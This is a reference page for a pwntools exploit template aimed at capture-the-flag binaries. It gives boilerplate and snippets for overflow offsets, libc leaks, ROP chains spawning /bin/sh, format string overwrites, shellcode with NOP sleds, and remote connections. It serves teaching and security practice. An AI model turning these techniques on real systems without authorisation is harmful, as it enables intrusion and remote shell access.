Pwntools Exploit Template
Reusable pwntools exploit template with boilerplate for local and remote connections, ELF loading, ROP chain building, and payload construction.
Contents
Pwntools Exploit Template
Source: Crypto-Cat Official Template
Full Template
from pwn import *
# ============================================================
# CONFIGURATION
# ============================================================
# Binary filename
exe = './vuln'
# Auto-detect arch, bits, os, endianness
elf = context.binary = ELF(exe, checksec=False)
# Logging level (error/warning/info/debug)
context.log_level = 'info'
# Libc (use pwninit/patchelf to patch binary)
# libc = ELF("./libc.so.6")
# ld = ELF("./ld-2.27.so")
# ============================================================
# HELPER FUNCTIONS
# ============================================================
def start(argv=[], *a, **kw):
"""Switch between local/GDB/remote from terminal"""
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
def find_ip(payload):
"""Find offset to EIP/RIP for buffer overflows"""
p = process(exe, level='warn')
p.sendlineafter(b'>', payload)
p.wait()
# x86
# ip_offset = cyclic_find(p.corefile.pc)
# x64
ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4))
warn('located EIP/RIP offset at {a}'.format(a=ip_offset))
return ip_offset
# GDB script (breakpoints, init, etc.)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
# ============================================================
# EXPLOIT GOES HERE
# ============================================================
# Find EIP/RIP offset
offset = find_ip(cyclic(500))
# Start program
io = start()
# Build the payload
payload = flat({
offset: [
# ROP chain / address goes here
]
})
# Send the payload
io.sendlineafter(b'>', payload)
# Got Shell?
io.interactive()
Usage
# Run locally
python3 exploit.py
# Run under GDB
python3 exploit.py GDB
# Run against remote
python3 exploit.py REMOTE <host> <port>
Essential Pwntools Snippets
Finding Offset (De Bruijn Pattern)
# Generate cyclic pattern
payload = cyclic(200)
# Find offset from crash
offset = cyclic_find(0x61616166) # x86: value in EIP
offset = cyclic_find(b'faaa') # x64: value at RSP
Packing / Unpacking Addresses
p32(0xdeadbeef) # Pack 32-bit little-endian
p64(0xdeadbeef) # Pack 64-bit little-endian
u32(b'\xef\xbe\xad\xde') # Unpack 32-bit
u64(b'\xef\xbe\xad\xde\x00\x00\x00\x00') # Unpack 64-bit
Leaking Addresses
# Leak GOT entry via puts
io.recvuntil(b'output: ')
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
log.info(f"Leaked address: {hex(leak)}")
# Calculate libc base
libc.address = leak - libc.symbols['puts']
log.info(f"Libc base: {hex(libc.address)}")
ROP with pwntools
rop = ROP(elf)
rop.call('puts', [elf.got['puts']]) # Leak
rop.call('main') # Return to main
log.info(rop.dump())
# With libc after leak
rop2 = ROP(libc)
rop2.call('system', [next(libc.search(b'/bin/sh\x00'))])
Format String Helper
# Automatic format string payload
from pwnlib.fmtstr import fmtstr_payload
# Overwrite target with value
payload = fmtstr_payload(offset, {target_addr: value})
# With context
payload = fmtstr_payload(offset, {elf.got['printf']: elf.symbols['system']})
Shellcode
# Generate shellcode
context.arch = 'amd64'
shellcode = asm(shellcraft.sh()) # /bin/sh
shellcode = asm(shellcraft.cat('flag.txt')) # cat flag
# NOP sled + shellcode
payload = b'\x90' * 100 + shellcode
I/O Helpers
io.send(data) # Send raw bytes
io.sendline(data) # Send + newline
io.sendafter(b':', data) # Wait for prompt, then send
io.sendlineafter(b'>', data)
io.recv(n) # Receive n bytes
io.recvline() # Receive until newline
io.recvuntil(b'>') # Receive until delimiter
io.recvall() # Receive everything
io.interactive() # Interactive shell
ELF Symbols & Sections
elf.symbols['main'] # Address of main
elf.got['puts'] # GOT entry for puts
elf.plt['puts'] # PLT entry for puts
elf.search(b'/bin/sh') # Search for string in binary
# With libc
libc.symbols['system']
libc.symbols['__free_hook']
next(libc.search(b'/bin/sh\x00'))
SSH Connection
shell = ssh('user', 'host', password='pass', port=22)
io = shell.process('./vuln')